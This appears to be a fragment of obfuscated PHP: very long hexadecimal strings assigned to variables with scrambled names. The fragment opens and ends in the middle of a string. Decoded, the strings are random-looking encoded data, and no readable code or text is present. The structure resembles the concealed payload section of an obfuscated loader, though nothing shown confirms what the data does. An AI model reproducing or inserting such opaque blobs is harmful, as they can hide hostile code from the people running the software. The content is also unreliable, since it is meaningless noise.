65707177644f6a5536313554366f4a4a4a666e64417133394e42453949474c2d3941496c77454a72304149376e527a43762d6a4870436e6d583162436a2d6c4133677856595a624b726b4d2d6b666e6b5f427a337376506d303863387339704c643856626852595842725159436250347071502d427053583170757075396663375663376e41654c376252424b51544332624c5f664e4d7955556f5a6d5f2d623172704a526135726f425661686d33333734715535457778777157445f736f744d51356b75576d326a2d42524f4d4d6979354e34724a483054432d794d6e47424e466f4d5062314c497a4b31334b74465a68744e6741624a5076786873665949432d656c35422d345047756e366c7542485a68696b31707046472d464e54566c70765f6763613578755443487073696d554f44555661377072676d4e5657705477396172795a79496b716f696a366c4c656d71706c665f61426a584e2d71422d7559324d454d507574564d416d74686a574637564e2d7276526a613077336551374758414f51506677364d5f664875705072673767683265786e75434e795f41744f4d6135396b2d6c462d5356414735794374513970485474444f6e62325f313555576a544c55734655583779544654696130453970497473455f7465315958494475374a5f4a5f416f523468576435786d43413952637474656b314d725538377948734f313466446942697a46736637466b523675454e4b5535496d394e78687869744166476e7433315639574f754e336761476e747239367978495674304567397667326d545244787233664b614d624850474b7a3073415f6c6c33584e62394437526157744f507a55454c7a6b37736b474b33663770395564563238676b317875703770376d504c785f6c7646625a6e766b3363426b587156527535334b436265453657462d3368794c4a696a3074744b4435716134775a4c4261506c73593768387a546b47476b466969394e4b57727035664a79567852564179716b6c35316c6b3943394e513474735767546b344d4a3366564979574b653645565536444153504c464476543373544c5558416e755f6d76587442572d57646a375f6d65446879303575673245796a457847734e4b6345463630434454723346306c696b48787841723271384c6c4856584f314e616265776c3849523336365a47654d52587632455f65494958624248515837374d6346566a38416662586759714f6d6b71437a4239506e4d497067366a343571796378616f4a337373374c6e634d396a475a5969573343487976557333614341586265525a767a3869316e416d7279634a335f586a6a4477345142787031684d425243696d56355166304c56744137432d6c6158465436685953676b5f63315477326e3671457a594853584c63323749364d50587475422d53536b4d4356484b416231686831644646707530423244635532506d7a4b436967664832346449625552376a3945364753665978555537584134616d5075645267365a4d4a49515f314242555936324861436a44385f467a7856524962784c5f59634b4b6c5045513868446a6474625f3337483073744f4b463875653543336d456e36724132634369777567564f4b623377475f534a68686e637859456335663038637538576570555f704949447a654a73682d733233526e487a717576726b5555677531396879536d6a7a4858364532437743456448636d5f4d32356f797564596f435f784d3237574f5847506a6f334f4c45624e64787674536f714e6b5a4b516f6f525f3348756678546847634135377176506e62356b36716b31706c4b45784a695a427a7466584d2d66516d383050665149352d413163397262634665422d77695f456978537273414e3236686f662d333265664b4b6b4a6f4c58776654695f396b6e6246624d2d356e36704745666d42646d55704b3167626f6c36684b4b766979626d426c455f74614374446b4e4a54587a57434142706c714d47456a5932514a502d676d59616a6833706e336576706c597636693443476c63794d3861685665663341556d4f5459626f464770374a75367150436250704d6e4170327161517939435867766f6b2d48445665706b324c39384e643649664d67323147634177555161452d43426e5961716d5a72314c74776a4b42786a6135533172444746493971614b5f474f7a356751626b6f4c4b4a6a6644474631773635374353685554695542763542305a64627757427365414c50794e765a617a5530666864644d4b5a575676387953626155584e704b613355586456324341496f5630477764597770305f546262336434663630635f4379517a4b7958306176344d4f72556875702d797453482d4e65324c77655a4858486455742d2d794c395a6b5f436767792d43474d53355933315559686553724956754a4b36366c6171537a6f573043553449617a7155674d653365535a76724b4932345f556976355444494967476f3838537a52795f45324533345f457477503451734b774576584b38335f61327334586f5734716f5f6979766d7964744175325f574f4a766a486e4631746368324546644a71646b2d323656777758364a4a70465a7a6779654e70543372424d786434516256346e47495351363859436636443464316c3830757a71566a54776152476737304c6b74746b7544424d59385962575a784e4d547a767a3852554477686c30796e33487279322d6763527731794e496a35576d38494d7a45596f6e5a6d6373595a7879316f707276584d65463276396b39395a624d764e636c694e467a6346762d6d4c2d6d4c6b736b4665636f46325f5933756d6b7a48364f333544323546504348485f475f736e755153716559793131675952564e32543354395a4244447831393773645a44584d70656c38692d337943673665496b746c5f533150634c57484775475445535463684b3379486b5775434334555270385a336a786562305754304a384158366d4646514367373145444f31674a6c35636e5f495145766673552d32766e74385a685851386f337a3478354f734a3238414a534a706e587669444b6348624261714a4b394a4f33416556722d68656a6f6a3439544e30676c4c332d695a33576136355946576233705545464c66684d6f4c576450334f30373679334478327a7246345f726343456d4350306b676c71593058564650476e39634854426e446653434139676e344545687846754139654e6d545474367933635563714b305435424378725146436659416938425a474a6c5f4e7978417567546239307661433439636a4f434a52726771377241544858307a304d4d3262346d517268546779734648464a6556682d2d496a735076716d2d383243417665577152736d65766869704778367354335138443048726f4e7671427466693745324879435a5f7a4839744e376c5a4a415f64366e765a64696554755a4a395f51524d4a4b45384a58734f53436b45614f657548785358327a575f4b34484e4f73574d336a5f573953713041733176446147687562516549395f37564f6e763635786b5f6a35513366576c54566f30765a5245557a436f39695769786c42614f4d763339385449475a543531582d6f354379466c6a51774e706b587a584d76377763787872657a51516e5259704a646c3267434b5a55346a42346f4e5368504359696374546b5f514937315f484f5a6c6d783967594257377249387a6b7151355f6e4f4978626b766947736b386c51576f764843473957754c3279516676424b52444c7a777979586b58616a435744566b766e7374464177335537777a445a465f796a6944713566475541565a4c4653664631746574354b7a5439735f72486b61635f6f4963413471707451526d7a69636d50756243557a356e6949715479524157794633333077696d56706d743365443337334a693457764753796171746e364a7642384974596b576e7a314a7153444b6d6756315f72783575446657443433454b326b77546633794d4b6642726175624e65463938717031434a36326c37613831636b4444585937586e7276544a624566546d397146794b74707871346b303741794f4e59365a72426b53746c70456e656c4532534453615446652d3555446168706f744c727369325a674b6431393730633854324a7479696e3763354f4c634b67555f4176335362333969655245362d5556456565492d71694833526c5630764330583954764f6a6656715867615f304e6f7736655772707238734f5741785967694a556b624e427a426833735978524e33524d694552336330314e4351665a6954496d6a64786b4e35643743782d6e6d37436a3455735f57514e79666b446735353854366a4576326444536b706246436d45766433337a66676550634e702d472d5747596e69687a6d456f3031523578757263464b39584e6763514b452d547737587842567956375861766b474d7a73494150312d5a7068626d7a476f577a4c5a504d52667170704a736f6f4670567975517361636477794b4c434f653738514a4b4e64443772595437666e6f7a67394631313375743947763577573444564a48504a426a676e465a4e52707439575f65375a37444d5f54352d3138312d6244776537596f38685654756e63796c6f6f31704f4547794d45706d3069704d61726a363169595f466f774e46704152306e33564e777a34625f4b566249782d505036655952674d484a4e312d6a775539674d6c635577434f51312d57315a7565614e67437267757831534957425435705145455a664e34556770454f57577073693649594a6a304d42513943565f456b524647525f4b654e45486e325164363559672d726e4e4e463555737641496a764333307a43743265624f44384957386e6f5a44374d697673556b42344a675268532d585f6d65484d72584b496d6c5a737269514d4948456c643753506b6d5448485130766a524e5a4e737a6c6f3844304c5378686d693343326b744a526f45716f6c59507130316a4957436b75544b4a7663493248786345376449544f4c77354d6348576c5349425a786b686a4e4c5a6f45672d72792d5a4e4941554a69357247496e4a684464424b77574b62626e444b4a4761764444385f3079534a685f36457164667157764743457a4e4577724b6f65344b5861417471734c7a362d686f5a437a49634c6877453065677835793464523339376e77514e374338796831434266345548715f68786854634756546a7959345363583430636673696c574b44764648736961784b6e7851763842456133307458644a31676c467a6978476b754748477a41774336566e76687054566755635a4c5a65373577315f536d59757346487333353853702d537a682d47354d74422d6e6f5132625f746b555f4f415f624e75436262664447677a41644a527a5561306464354e34655268504d6236675f3455656a343759706f575a616e63694c5733594a53612d6774504e705265686561524a7675314f443654313162534861316737673041714f726a7a55513473'; $_errx11bb8 = '6b33624e653277334f6d33424c5041654e2d666970346d4f70726271786f7850776558435f63646b724163776376705535443933444d5254646255416338683048636b53755638346f506e4f4d326e466639344d724365646b6234467066414f6152613636426538306a555556394e6b726a32564c507278622d737759336959706275346f536a4e66336254566b57546d73786e5075626c4d42393745596449425f6e4339344d62435138516958416a336c514c6f3539346a424353567577687566696f7a5a466b4742706d72614f555751504441592d663135544e5a6c5555753266744c744e70776966316d49706f335a7137484f54736f5351514f326d617762564567494b714f376e366e337477534c43706934397466704e63347973557537564d5759564b727547583052745a4c6834413330686c4f446543565156566a4c386c38736e716d56734c4f5648694f6e7a73464c462d38656f79367052584b6a51664d686f6663385351634632654b3072585a654b36564c52436c6e4d34494f646e5f563559495145633344495f7564414d6465626534377139354352534f4875385f75546e656f7a396f696a674f647a725a563850472d326e763573425372732d53675f3870677054504a44666e546f644a77644a4f784b707a656c484c436a48347a534252576939355569375161664e7a30673839703951554c47734a774b5130365a445875304c2d3538504e45654f6377376f74304a4e4c4e6855426b6c6f517045482d355f795136744445454d35636873556634786c4776753641662d74624868386a426837664b57725243476b36374334784a50626351623735316d65546f7a31413551394656754867794e43736e7575764469656a64436e5a57354c72654b635069336d5457484c50626c634c5a43454c696e5745722d3056754935465a37396563456745593146395f796a3579384a4e69774855746d68444f7550704f683746667876476d484c34797676766c4732486e59504f724a674e6d3345566f5958794f4e354a696e614d3039585a434c6d58366538354a7a4b525a7136666a4541786774646a65596e506658475a41557a47714b6d555366615962414938704c30546b76655f777878734c6e494a4f6a3231304d5a4e5f656e6e703950497047475a374635512d6f76575650386f6d383633444d573770353843752d4348782d777a376d6f713966596f4a494e34373957656e4f4e587435727344725038305f436f707771444c41527563566759423768617a6c626e36695f756c77314552655f714d617a6d6979627a5179744b67314c596f4e3356372d6e6d73596c4e643842696351774c4e4664666d424730754b4256506936492d7a6d6a454558675878357245547563334e6478305664337350383246493442774c59754a3137494b54414b384461637169526c44714f584e6a6a416f48506d4c4f4b785673535a4d5274684b317368644b5049352d43706b4e455870664e725545703836785a374c46503756746b437569486c525447506d7166697141704452696e6a6d6d594e4d676657453045633070644150557655374e676e7432424b50727a73363743494270454d3348456e6c7134655a647a6a35733868455651717a694650734a525a556a344973575133787a525178474d37643151344a31795342776574304f5a465839486b693342497341376b645968513678654f675551624e73557753647a747a426237736f4d43494d6b555572626c7444316d655a476933727470734f3368734559352d33466e325a44537536433933594c39704c6536494e5770474a626f3061356d486478417769503038796c7479694a316e534734566245773276347145365671794a336f733867317879526c5263344d6b4d5770644b704b624a334a6d786a4c726b4541374d723376796e66643539794e71477876664551707a576e5658326e4371422d2d5f58636f634348455938694c70556568553972616931495963544155574245417565754c4372676f713664434b34435a397565436f304c634a7169436e376b636c4e6c57394539554759374f6a30726d443266692d4c753252494c7a3566474f554d753068464c6871343641535759596931593168426472764168315f4b653559633635535f45317356436f45424d5f66614b525075465655427a4153726b4a78735447455147383664504a456e705f76706c766a35663677455f576b5779314f5346563859564742614b5355452d466f314475506f304138487470555155495233636668583451593258305752494c4d7238643337585252576c4875706f6f78425658616f584e3337714d65335a66446f7458314c6d727941554234727271337431654768594e41616574556b5f416d64796e2d7053545058596e51722d67515464702d3553776c636b7271625f705a48483938336248312d513337595f77575050547761753235573247555a6a796f73677276687243725a4a775a4d766a4633685457425162686467417642386768636d565857415a67586c2d49796654527752354e2d6156495178444c4755787a58355957544c4135696c6a456844576d6964756174455762537a6e7272332d3344574d4d395f3735735374724771324f4265356f505a35394b456249326a7951357643616a59714a58554756315f4d53356b3279774c586e4566614358375258736a616b7836414278634b4251774b5f7a5a7461764b6c664b442d784777562d516b5f387264665830394545794d65624f5754576575656b596a686d344833793155325f3844685341435a6f6d5678674d5634486c796b6c696a645857596864455638423843434f6b594d414231314e2d537468546f313937356d494932385f38543031534d5751377a30366148514b4f5379514f352d57367275576a614f7a4d58474948514c367172773358744e55446954506d786f45476e3151755944346444546e5837584d6f30704b4a4e44686b364d65303376675152373043306b47663164563038684347684c622d695772306e584b58364b4161694c39752d4d4d324657375a734b634c354b726c7a6e666967415850786d754b3167427371357156367568334b5079674e7430777a35554d556a6a576b4341726e5647734b6a717a49325343594950745351346e5261334e763449657a6e5a68773238782d4a6f365f656c3846665954575a5f4733646a55724e323945504b43466867494e357742706c304f4b4568784c68493974424359576942582d52382d6a51653867795943773438774972395a4b436c59676d473453686f76397178515166575075325552757953455767636763484572716c544b54705f4355796351643656434b7366764832556d6b485346435359414e474131554764616f795a506c626f635f3937416d4659306d7a465f587341485673316d7a4b546b694a3474554268577170556c42756b4733696d333879447662622d38434f33576a3661524b6445436c4b7464323272336674345a4550723746756869593563776259313170702d344a7064634d62353034337935795763504b537545574a596470366c54385a776d496f36565043644c472d42574f4a5346552d6966504f744d49424377387671474f33576c373645645875686f686235797965417463574d39726b596c464e713371533541525770584f7a5531496968735650676e61534b65655f67454c41634d554745636f486661634832382d4b4f7458777543734e4c626837415244544f2d69316b5147657972414c3837734d2d584f5a707a673932674d42504865517a715955593057367077797037307937774f73614c6a716f6a584e33504a7a4d73384a5842336d4f7a6464735f6948754476686a4f4d5a44434861524444764b786d6865726f4f764866424733526467576c3663677375557261742d7261315f6d6971744e6d34466c524b704b34654348476f34696a6d6b4f783658644661446d747468546d34353870643745634f6b33773750426b484238665459767a682d656c47585873695039337a744d6962366d38576170576b4c4c5876525f6f6c655a39777a50586d42547a4c356b6b6b777937515348414745562d4277664a33562d516d526e5f546871464c796255676646583879636c4f484132463666614d436b324c6d394932704e6a456a6b776145754c4d557035363834714263674850634b516370795976504a6a78415136385a3735534d6e4379364b525a37417563466d77355f333279346e66676730664c73346e546a57347066655a36356e566e32705265364a7a42725572774c796434645245484966485f747a69417956613167376667396374667a707770616b6f48635f764b3359494c70725a5431346b47344b7568705054483057596c4468425165734e5f6933503052576932457a36725238524464766456712d61484474624c756734443879634e50525a674c485470786c53676355716331484a6f7477724a396673335f54626278644b4f2d71355252634c784c393538356850636954634f376e42496268756c58716a455a596655454f7171426b694b4c304c70622d3063503254356b41594f67582d43344179525675785f775f577558564a5459537a6167767576634b364a63417642666338555a644c68597a444764416278695f336a64755579655543556b5f776864714d6173626f364b4364704e6779475243446561317a73636e5f762d45576371693375392d6248387a7a3874596a68584a4a777a6c35696539384b434a4a7535754f654e3963763265676e785f2d6f6632587448414d6d705f4a624d6c3545575549393273792d575761776178386e5a74414b7674582d543352615a7165595870616535504b314834494536454c41434a704a536638417337624a4f776655696f776f796c75526d574567343862666a5853617279557a32776a547a687270476741596e6e4139323839696e5a486e547a6d6661696575664e6676655831766f4a3534766c4a48553278314858556e6e365f66696f4c6b4e357579637a5f42616d447536726a30633756484a6f666352526a4279315776625f4c412d44377a4c77706a65646d733872524a48756e3135794b5563416c535334386f65624d4e666e4d7a39725469706e772d47454353616361337064367730794a2d4364795a6a764876337a464a4543586e54706145342d4f6a36563373436c326b68674b534d556b7334556530654f2d546a4235722d31594e3567705463736265694c4c66757a78323866314c66534370554977305a34454f6e6c6143356a774c79786e6f58694645304674506e6b71693143582d6f4c6b576142514c61776c6164486e74364966417a4e654f66654b6f6b33674f4f4f48663049454a387538624a694f6c4268465a67756f5f47537745536b2d5763706e414b644a353153447a35497a5f774657754e5342415045787656696b575a786170774c314d79495f65585879545f55644c74706734424a696464776358497670412d33556f4d3859585473706d4172446a4f4b77624c71654b41796a6a6244676138725334587456717358546a52746e44575374473835454e45587a6e557775356b794c536549524359664f6c6b39482d51492d776642597a2d6c63626b2d6f463031333951524a55694a4573567664686e6f562d3931547847794e2d695f55415446354d787967684552567459453263686a386a317238484c395865684a6a535944753977756332446c373474784d556c2d504638454865664a373531553833416b517a77705a46787567364432576e5554587073624b74417255546f6d546f362d7434737366494f5638756a313875766b4f7466713261694a6d794a477047434e666a794e5a7a50426643357a50487673776b684633416b434958616f766f692d555151484d5a53562d7172333647615271334243735f5a48766276486b6650794549744869685f673848676c50616b7075394d713238307a706f62506c6e7164744446496976444c666b756544674743435265686334784568506368354f4c79454957736769575f6561594167545a7a395f563647754a585a4d433430565f755a716b666e53445031745375476e2d37416a7330587a697a587079595a7755387a72376246314876555365726c593633673542435854617273304153306e76634472646964335863476e3177464a7a324863585046564f704b354f636a59594c6834365a6647543665437a3848355f31584e6939656d6e716f766f784733616668612d434d6156486b4d303773667577526672646e33777570456e4b6459437638497a4b476763615643792d5f656c473454397a3748786f4c41476d4d4e77655f465a4478325458674b76616358764f762d32446177626239454e576d56444b636e643643654a77584b6e45457a4a6a66315768466c7a767070717438544d58536c5534687647324855497a564f684f4169323066754e53364e675355686247707362644b395268653870477855325a636e78587474464258526f386865366d4f68613263316a723854786161705a35524c714957523355643930556e39754f7571704f6c71767250386f4c767068736c31444c4553357331695362484f4d647561616a6b4d7453467674626d3767314e4e4c4b4167706973433442645a4e74466f506246566448426d49343959724233524d4e697441343968504e4567743839684b4f737a584474616d515f5f54445278724c59303642644f5a53703354794a4b5455455648676a59577749337a53587464476230674d32626f33416f48385f636f55714a7839357359674a397530644d423558433467793631316d737a696b515730495875616a3942334765534e4a463039614c3467624d70443939386e397a61316167646c633067787a69656c32684655734269594c4a787336676f6858444a30697a656f4d492d79507845515032382d4d7a4f4f625f48556f67466b304a5f6644736477794652497135344a5347546951346b4841456f714a31574e395f723977487666596a326459514a567a54484e4155533659764370656a684254444d6f59616a456a6541364b4769426862537665415171665131686c625733676c5f6f585f484f66355153624233756e51456d7455656a6e6474786b3151456a6f6c6c6539415a4e5f6e2d35375350493334684463372d4a50306758355f7139737679656c34475246455355566e6c703451394f3237484e6a413956767367496564444436384d6d5174354a547a714541634f524b694f75636b74564263524f354a5048306d6a5f69626a303258774f674c7366454b654e57576c396279786244536f4b75373243367230484a793846733037466479786954333535576a5a51457034576451613933555637437a7a596e70366d4674566976533437774f4b504b65336f795436766c5953306e6444546e6878494f4a39596963537362496e4f616763685969737854726f4c686c2d43446a7a4d7679725a4b38356f514d504d31786f377437374d4f76314a33673758707172365442684654746252304f4c324c6b476c444c6d536b623672767478514f643971737945506a65494f536f35316872696c5336547576575a46744f575f5a4b42743738435377534535776f446d352d473548504a6f5f5547544d61426e43536c4c6d584c7055635f366f34734d4f4465445a6c7a6b6e7332585376493777495f4f594474674c734e4255614c79547179674631354a78596156626c396559676542796d62727a715037556772634249466a597232546446642d6554675449584f5442353148665f675a6143356d42366733307a417275484f455f61635a3733464877616a424134577442494941447577347a527a436c693031725f775348524971526d5f39306339676f776e695f4b546c30626566594e77373849616253577866465f3156455f6e4657437436707a6f4474756e31387672506c4a53717065504c41616b36556e786864787738654d416341414b476864724572476a63474171426c366436556351524c5935394e7743744a6e436f65354d513557474c5549415244687470546465425f335752564e51446771456168344736737552352d56476246564275427a334b67314e534842594e367a5f726f774c734e7263354d2d53687064383366376a4433364249725462675f32345062326963354c66436d42594e2d4b4f30516157506d6866456e6c7a6b442d546250745675785a3755365577354f4f62776c36483877466e76755962776b66367242514a69626a34754558706d6e6b645f462d46767a6d6c324d70736172514b4e76464136553833524d55667867544169385f774e77616e5a73544167456a74626435306e4a6c5752624663555078586d32514c7033654c645f6f6c62447674634f676c595963556d336e5f4b4557724d4c5447394f45302d765831696e49305768425a674f7461385935784b31784c4e6764545f4769426c447438616e4970546b345f445947314e6d57326d666845726f792d36736e53727657656450596334444f4e4f70554a36493952346b32356d4c517151344c535755783162764b764e6c6a4448416c352d4d4652514d326256436743374456774f5a4a6847323542492d50526a773564374f4c41465f76366e5f52535044346a48474575424f3059717050364f79736871574e534a7a5a39424b3249577869567a523559595748532d346a787155564c62376463545959306a4c504e445747316c5f5f725137474b67305842433678777238494d44714343453879355a746f7430487a7255773963377473724b365251544b6c685545783142654f7249526e35693941786533713243306b5f6f70747a724f6d4a533766344d545371353437515a6542316c5a6c4a334c65554862564f6b644c34546a505430596252524c706c646d5030766444614c74775a6a5836524b4174625636586365455f67496f764c3262626837684952555748354a756b315a527454766b6a41657338794a7a79646d396d2d5150325256635a41706c395348446d465a71644b646e5f5a427a757a5773415265527961676f434b55577a794e7073484168324d6b5079426e395f62336275384476304f3845656b312d37726e7847336e43645341357438715735417276532d6c765531672d3336337239667854447636566137323032445a696458705966754b2d566e41655f4c74594d593579683237574a45314448535967474157713068733277303641496b534e7a4549704a366778574f596e6c68334b735379727831785a76746c544866514a6e5479695478746e6a6e67365a795f364d51465075543571565f67517a484b4f785372763953467853306d72363978522d553934617a4a47724a646c484e6d656953524d57505946535f7463366a32726c747179496673675f43444a396a555a5551743464503163374d314c716f463633366e776f6531304a71395a583632735159562d6a4e7a786530615f684e4b6743645764467a6958576b2d364532714244584953487530334b626e7934796e786b7244693965554444627a367971724675786b4f70755f4d6a6d3047624a626871492d5a324d48676a7873756d314c547275534e2d67465567754830576b534a5f4c484a78624b793057437254706951446f3735655672657564776657616d455f703246794762656b497578716b434a585f70324d7178667357634c747a62435f674f675462797053534334466246594739514651325856754e7a363056692d536b724a55784c736f4b7a3045584577536b314d2d3142666278636f6a665a65494b366e676243616d45576141754a476f5f664b4651636e366170672d33346d3535747159417237574578545f6d714b5f3041535064575943546636584a4e7853795f7330735f716f74527742586b67785f6545484574665576614c71656c373235647759756b4b463845715a3079556f436f6f597a78667a564633534442644746784b6e356c72786c4867514e4f3068495053456d3842435165444e476a43355f3933434f3757764d6a71746f446b444f464773507343744d6c7a7731396e71523141556d38774a497941437542466f3842397346535f794439574756556f76374d78644a323069733866726a4e474c7561387759425a574e5068736f71312d71356359725858654f432d2d73566766645866573342677a52595453776c302d735a48504d6d6f3771473070657034764d67484a614831746e64363876416630714f50686c7646316b506c7462663630393772646665756f53545455703358396d66777a716670386f30474b78435634346f472d49795143534a556e2d516e41514937'; $_blkxa21f1 = '7738716d704b7a67484f6a65544741766e5235334c305f334443766243344f7559686c77447a65657038363738515644596f4b4d5845384435627867583736516876685035634731796e4574723963622d4e516445397566374b6d514e725f3951614f4f7578314a4b337962636a426f47323572726f6d6e50706475553238324a646f554f656d2d533053706450713036324379654d6f75724b726a365541727262685378776d4767326a6e64795969642d634e344a57445f79385871677a6d4334456d684a374f3132344a446c776d786855636a555932677373585a57745047774f764a335236306c5363324c7868467a6956383743427372564d476e445948734377614374345a6a6f33455f5945577449434a70776c5952687962456647776134795245426e723637715039307359664672754473686d724b74463069736d595f33486c424e4c4c4a6967664b49542d6937446d716e386679303177496b69474166504c5f416e454b6f5f6138304569524e376c6948415a614c4f4c6676773877454f48455834755f6f464d79623272543933326836646257655f44517176724d556e33516535412d4a35484e415248327a44434c62645a7658616c44395f4136625654446c786639625a766e7937696439445273627a62476d355543375463303454626f6d363666394a4a61486167304336394f327361675a37692d584352493551796f4c45723338367a5330373355376677783463546b434a5a674e5a4457597665393866613147784274364b5a732d4a6b5250707668514c73616e4d6d6636646c7a7339386f7a564b4f4c774573376b4a4f614b6c75624c5561374149614f35376b57396935506278756e6a3978396c596e624946776d6a4c34635a4936765176717465456a63616933554179325849546a50713942336f313061417a33736868387679564662494b55656652352d4b4c6c623552775965727033576b6e38444579506f7450584d715351417474436a6c4c384c4a674d5671586161385f46744f43636f337a63553243625f6b5955694c306b627a506231314e433642756c54784b723259773734516c65616e7935446f36446a5366636d6a30715a647a57466858514b724644443659706d4d576e71654b5256756571384a666b4d6e627a6f4678342d42546b3162533561384d56547662594f617141323359347a38706e315152657263774c673535316b6d70486e4b614c396944413458356c7a75315961514649647241754179755f2d4c587451373659324377666a4a4f767a4d57725f35524a625551554553733939634d76424c37646b5f7179665852554348743861474a6261563356753639744a714e3278416b504638356e51443962364a4d315f306662696e32586868414e704f4c5f4c355f4c364956576e79626c5938713568414479467538353468366644336d442d793763305441426f765f4c5265547233666365586b77323943543348626b7a4751384441747571517169735f46615178614558386d5f59426776524e737a51396c70314e7761583666785f6b3376534b475a746f3536436b34624d7365505759473938324d527233673047736c39714c336d75615837457676786849362d5f765a65466b735876714d613639476e2d6861686641764533486858705443774134624e64534d65396f73676f5a576e6778783772723144634d7667684b776a6c38754a457775585f5973463949524641614874475a7543754f52553276564a7a65795379485141786e5a34664b4673517065386f53464a6d774e33557062645757425a526978493256315452665f565532694b5636466c6e6851316b37334a566d4e49307376736f7774545868547a6f4542467a396470452d3948664a6755325254444d5473754c6c3276635951735f76574c565738577670397a46347766427a6f4b68476d4b6264443773616f492d6e6e7a3567544969334a7450534e595332327035676a53786b4d374973613666637548525f4e2d662d3944776d4b486f4b2d785a305774385a38624f43374a58495a492d68546331627a4c67654945336244653873587665664a556753504e5077615a50672d426a3353364d6173736f4b734858427a476c5142374f71486c32326d7232383561536c4966784532394d765776327136676332646c79476479534b5661354d634d544a49386b5f7137765050383341735a49594a36766a67662d6d526832367067567730506156667862595247654a796b627939724b796c595f516e65763636565377386e4b7455795850324f37446b366a6864506c6937717739446a567658434e62306e63704e6e4e364843626c6f4d424230494c3754645332352d4a577a4c5339586256464d596c38634662395042344867785333576d746278537931467142736d5554313971724a76352d35705663377a454934377a64414f77623071464e354d76714f664f426d45527532387752554c79394f614c66694d796f4673317549344a43435a437278466147704b426a36584a6e716a5673656e417a443030394f704d474b346b455441754250702d2d756a526a54506b41444b5f45584d34324e536879567251387458635335586f66592d42456366756577624647314d7952387656763467757547344e3834775249364f46466e6f66356d4d6f774a746e386476376a6c4848306e654e394c656b3765352d417171423859532d4f62667230344869454b52415976515438354836334f396f7859743952545451516748794b546176696a6c303949592d4b714b756b443634347657594a4a466c735172796244777a7665384a424955636a716d4e44755853736146716252657135512d58523454754d415641716d4755306c4f745f4a523255465f6d6d474f58424a712d504e476e54474455353863454979494651387470785332674c6f68724f6a32617a7850497778635f6b3357314259714c6b397365775653386b524834563277467557396d65553432776a2d756c377574552d354f3244316737683261675546474e626b4a355f38564c685371694a79337a63324148517434373655463645425357313538546c65776a676b31327877556b707552583151543842796977624d724c764a786275326c4e786d4b31377a743759456475594c684b4e715247356e6876474d544c465448433356634e5f4c426947444b526446635244726c6866414b696270766c30703662343958584c56305a566c6c33385773594f6b3057306e79322d504453544177435f76423832674766715563344d5850465055692d755234636d494a7565343556712d785336546e5a43525745614c74656f684b6f3933355451625864562d596356646f6e31634b755f4a63363649357033795f654b59445468646179636d666f43525a66526630372d3457334e44466a4c736370344d6b4a754b4372337234456a6874417849786c346548696f75466b616336495744696e41304d5f6b6f5654467030564a563338766b4834437176462d784d5931524d56702d324c56774f796959773246304a4455567a7555514b3066564f58555f3148716b737551467a534b725f4349687059497a6d5731306a686750392d4a4967726c5649694f4c4f5a6f5833344c354c4e6d54576963365171356871654968506a396366525755612d356c774f627570736f692d2d4d79644a355832486e5f52464378795a30426f6f75444e38484d5358427a693438424d51733171423642724e796c3553694459477246727465596158425556646435517a754150723365774b6b636f6143376a733853714c3135725647754b75624d6e546272423357694e7638675a626b4e37326b623134694c397431432d6145504c61486137365f714f593662753751626f532d7a5a7771654761746b7974306437545355436b7442387a4e4242334b374c3550494e336d3173773935517935414e6d70684f7a775a36336e66736434644e4a4c7733586b735374764476675436794b676576384b7673516d6c796c4930633877692d43583343745247376456304b536c6141674931495247666f5748767634456d615769377664624844416f507432385874377858715f436d4f505a763042676f73797066522d7638705f6d3053456a6b6861567a35496e47367248786d504c3455794d785369654c583735335378547446507330315236497468376833576f746430446b4552374e694c305a776361496669534656346a3475764e5971766a717041637a45395669726430483069697670722d6d4b744678694b79657a566c50516453557a63584b4d5568514c38497343756c6544584363316f653042586d6e6d43596769645350644c78494d5a556b6b517a4d75776e71384e7073636b7577513547397a754d764f627337527a3933534249565455422d635048504d6d423142465379337677763472674e766f676a5578544d6e2d7a47464459736c556a572d3349796f3736316f47443664494378544f52436236564a75726c56346f5379633379524e794571316947595476544a46615168767a305274434b4c42734351794745694b765034413636414564567574384d6555364f41346436464530715152535356425a6c386164374458445942756d69736c71765a62747962456564467636454b65676a35624b5a4e6e786f454670784e5a4b6f4a534b41516556556a484f422d766a67783247477468303872776d41454f4e316f5f43482d505a55434d756d4d426e52573642456630694b566f506c6a315f55344b647854515830636c5f6565785a63423655546747635f47344e6a314c2d6e6f464764527059756d3473414d4e7754594a7442576830707a5a4966746648726579445456706b5136735578694f484d746f5177796c73457662523546335a5668575a69736950463249413974625561576d6b6e4474724e4a35663655734956453070474a454535474d5933616a6446375f444e7a764951437263576e7a4e71322d3959686938345a64416b3933532d476851594a415443655a37357277766f4153484c676b70654d4c6d323755634d4c5a495762723842594259443770324e62345f547847325862585479395247305575654b3756643733747045776d784d6c5f4e624e4b517549546930664734324c30565f6e4b766b4579416464645f4d5f58367258336844437941336e4d484451443042655f635062684a5a496b4d6d6a75494f575f496936387071314a634858537851724358516d387965706e31343048374e527137616b6e465759783967514a434d39546a666b596e6c5061787454366a7a797452394268307874696f745879556a306b534a6b555767682d4b5765664934692d5563645978706b4e4374307a4438673059416a3553416f72383235476e6d5575316541777555504b426877364f35794c594c33566e344d4956707947514d796b58654165486d6e7665324146756a64433450424a62387638543141776d586e58474e3464346b38707854375f47305f6343334a484a526e6c6c6d613741767479317637335f735130465174774b707273776e58346f47346c396f5f79747263754a49476c7834617136586a334d4b3737354856345845704142596c486364636e51364c3854446e526c47757437343755386d6b784a43535135415574706b6b5945616d39554e6f556d4773686867566e6e79576266736b556c32727065466a764c664645644a70464b4c51424a6e43674f474546336969516a4c486a34687a6b725f664867654c3831673269654376573061513654726f634a6b31727330617132656a446e6c35662d4b5353314253494e39756a354864567839483451497033564e5452756a515071735439514a774a523759626a3170507159614a5f6b396944684e48584f31496d374b4d4b544e6d562d68514d48752d6465704d4754734a2d6c4f61696f56576d4d6f5f614e2d4f4b5336356a4f444650707046697244504e4b30504b555a5a754268686e6f686a41494e584d464c754a354147384d57567342393447737346514836464a4b77324748504730686d596c6d57497156565876447465364d6a58494d552d4d5961737a434a75544152535f68354474706775646c3832767733446553726e3963427674662d6c6634342d756f66526543616251395f59644e493165765f475438324f59774868724c4755386b792d4c5331423637424868625a75454335524d696e5756646b61653343387a51366e73425a35726643764648355f4a316f732d695578334f32733255764e766b44344b4f686d457464495a4e704b706c69776b4d35354b30773635417153476c547156752d736766706456354a716c75637563514330364e6f61753968786b47424942312d5a7a4f6a77494f64666335383174537a6d4d715561756a6c69495f706b6656734c37686d503369653962493542504c54656245356f4c546264654a796e7a7376754f6466654d786668692d4d5564424c596133306a527a474e614b53354241635a765072464333646e5674765577415a56582d674c65565677665142576c484e614945494f6d762d4678795567446b536b5a37766858425433626f52516a70783168546